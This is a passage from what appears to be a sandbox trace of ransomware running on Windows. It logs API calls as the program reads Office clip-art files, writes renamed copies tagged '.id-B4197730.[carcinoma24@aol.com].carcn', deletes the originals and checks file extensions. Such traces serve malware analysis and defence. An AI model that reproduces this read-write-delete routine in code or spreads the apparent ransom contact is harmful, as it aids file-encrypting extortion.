nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0265.058] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0265.060] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.060] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.060] SetEndOfFile (hFile=0x544) returned 1 [0265.061] CloseHandle (hObject=0x544) returned 1 [0265.062] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.062] SetEndOfFile (hFile=0x538) returned 1 [0265.070] CloseHandle (hObject=0x538) returned 1 [0265.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0265.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.071] lstrlenW (lpString=".doc") returned 4 [0265.071] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.071] lstrlenW (lpString=".docx") returned 5 [0265.072] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.072] lstrlenW (lpString=".pdf") returned 4 [0265.072] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.072] lstrlenW (lpString=".xls") returned 4 [0265.072] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.072] lstrlenW (lpString=".xlsx") returned 5 [0265.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.072] lstrlenW (lpString=".ppt") returned 4 [0265.072] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.072] lstrlenW (lpString=".zip") returned 4 [0265.072] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.072] lstrlenW (lpString=".rar") returned 4 [0265.072] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.072] lstrlenW (lpString=".bz2") returned 4 [0265.072] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.072] lstrlenW (lpString=".7z") returned 3 [0265.072] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.072] lstrlenW (lpString=".dbf") returned 4 [0265.072] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.072] lstrlenW (lpString=".1cd") returned 4 [0265.072] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.072] lstrlenW (lpString=".jpg") returned 4 [0265.072] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.073] lstrlenW (lpString=".doc") returned 4 [0265.073] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.073] lstrlenW (lpString=".docx") returned 5 [0265.073] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.073] lstrlenW (lpString=".pdf") returned 4 [0265.073] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.073] lstrlenW (lpString=".xls") returned 4 [0265.073] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.073] lstrlenW (lpString=".xlsx") returned 5 [0265.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.073] lstrlenW (lpString=".ppt") returned 4 [0265.073] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.073] lstrlenW (lpString=".zip") returned 4 [0265.073] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.073] lstrlenW (lpString=".rar") returned 4 [0265.073] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.073] lstrlenW (lpString=".bz2") returned 4 [0265.073] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.073] lstrlenW (lpString=".7z") returned 3 [0265.073] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.073] lstrlenW (lpString=".dbf") returned 4 [0265.073] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.074] lstrlenW (lpString=".1cd") returned 4 [0265.074] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0265.074] lstrlenW (lpString=".jpg") returned 4 [0265.074] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.074] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0265.074] lstrlenW (lpString="BD19582_.GIF") returned 12 [0265.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.075] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15733) returned 1 [0265.075] CloseHandle (hObject=0x538) returned 1 [0265.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0265.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.076] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.076] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.076] GetLastError () returned 0x0 [0265.077] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0265.153] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0265.154] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.155] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.155] SetEndOfFile (hFile=0x544) returned 1 [0265.155] CloseHandle (hObject=0x544) returned 1 [0265.156] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.156] SetEndOfFile (hFile=0x538) returned 1 [0265.159] CloseHandle (hObject=0x538) returned 1 [0265.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0265.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.161] lstrlenW (lpString=".doc") returned 4 [0265.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.161] lstrlenW (lpString=".docx") returned 5 [0265.161] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.161] lstrlenW (lpString=".pdf") returned 4 [0265.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.161] lstrlenW (lpString=".xls") returned 4 [0265.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.161] lstrlenW (lpString=".xlsx") returned 5 [0265.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.162] lstrlenW (lpString=".ppt") returned 4 [0265.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.162] lstrlenW (lpString=".zip") returned 4 [0265.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.162] lstrlenW (lpString=".rar") returned 4 [0265.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.162] lstrlenW (lpString=".bz2") returned 4 [0265.162] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.162] lstrlenW (lpString=".7z") returned 3 [0265.162] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.162] lstrlenW (lpString=".dbf") returned 4 [0265.162] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.162] lstrlenW (lpString=".1cd") returned 4 [0265.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.162] lstrlenW (lpString=".jpg") returned 4 [0265.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.162] lstrlenW (lpString=".doc") returned 4 [0265.163] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.163] lstrlenW (lpString=".docx") returned 5 [0265.163] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.163] lstrlenW (lpString=".pdf") returned 4 [0265.163] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.163] lstrlenW (lpString=".xls") returned 4 [0265.163] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.163] lstrlenW (lpString=".xlsx") returned 5 [0265.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.163] lstrlenW (lpString=".ppt") returned 4 [0265.163] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.163] lstrlenW (lpString=".zip") returned 4 [0265.163] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.163] lstrlenW (lpString=".rar") returned 4 [0265.163] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.163] lstrlenW (lpString=".bz2") returned 4 [0265.163] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.163] lstrlenW (lpString=".7z") returned 3 [0265.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.163] lstrlenW (lpString=".dbf") returned 4 [0265.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.163] lstrlenW (lpString=".1cd") returned 4 [0265.164] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0265.164] lstrlenW (lpString=".jpg") returned 4 [0265.164] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.164] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.164] lstrlenW (lpString="BD19827_.WMF") returned 12 [0265.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.165] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9710) returned 1 [0265.165] CloseHandle (hObject=0x538) returned 1 [0265.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0265.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.166] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.166] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.167] GetLastError () returned 0x0 [0265.167] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0265.231] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0265.232] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.232] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.233] SetEndOfFile (hFile=0x544) returned 1 [0265.233] CloseHandle (hObject=0x544) returned 1 [0265.234] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.234] SetEndOfFile (hFile=0x538) returned 1 [0265.236] CloseHandle (hObject=0x538) returned 1 [0265.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0265.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.237] lstrlenW (lpString=".doc") returned 4 [0265.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.237] lstrlenW (lpString=".docx") returned 5 [0265.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.237] lstrlenW (lpString=".pdf") returned 4 [0265.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.237] lstrlenW (lpString=".xls") returned 4 [0265.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.237] lstrlenW (lpString=".xlsx") returned 5 [0265.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.237] lstrlenW (lpString=".ppt") returned 4 [0265.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.237] lstrlenW (lpString=".zip") returned 4 [0265.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.237] lstrlenW (lpString=".rar") returned 4 [0265.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.237] lstrlenW (lpString=".bz2") returned 4 [0265.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.237] lstrlenW (lpString=".7z") returned 3 [0265.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.238] lstrlenW (lpString=".dbf") returned 4 [0265.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.238] lstrlenW (lpString=".1cd") returned 4 [0265.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.238] lstrlenW (lpString=".jpg") returned 4 [0265.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.238] lstrlenW (lpString=".doc") returned 4 [0265.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString=".docx") returned 5 [0265.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.238] lstrlenW (lpString=".pdf") returned 4 [0265.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString=".xls") returned 4 [0265.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.238] lstrlenW (lpString=".xlsx") returned 5 [0265.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.238] lstrlenW (lpString=".ppt") returned 4 [0265.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.238] lstrlenW (lpString=".zip") returned 4 [0265.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.238] lstrlenW (lpString=".rar") returned 4 [0265.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString=".bz2") returned 4 [0265.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.238] lstrlenW (lpString=".7z") returned 3 [0265.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.239] lstrlenW (lpString=".dbf") returned 4 [0265.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.239] lstrlenW (lpString=".1cd") returned 4 [0265.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0265.239] lstrlenW (lpString=".jpg") returned 4 [0265.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.239] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.239] lstrlenW (lpString="BD19988_.WMF") returned 12 [0265.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.239] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18304) returned 1 [0265.239] CloseHandle (hObject=0x538) returned 1 [0265.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0265.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0265.240] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.240] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.241] GetLastError () returned 0x0 [0265.241] ReadFile (in: hFile=0x538, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x4780, lpOverlapped=0x0) returned 1 [0265.334] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, 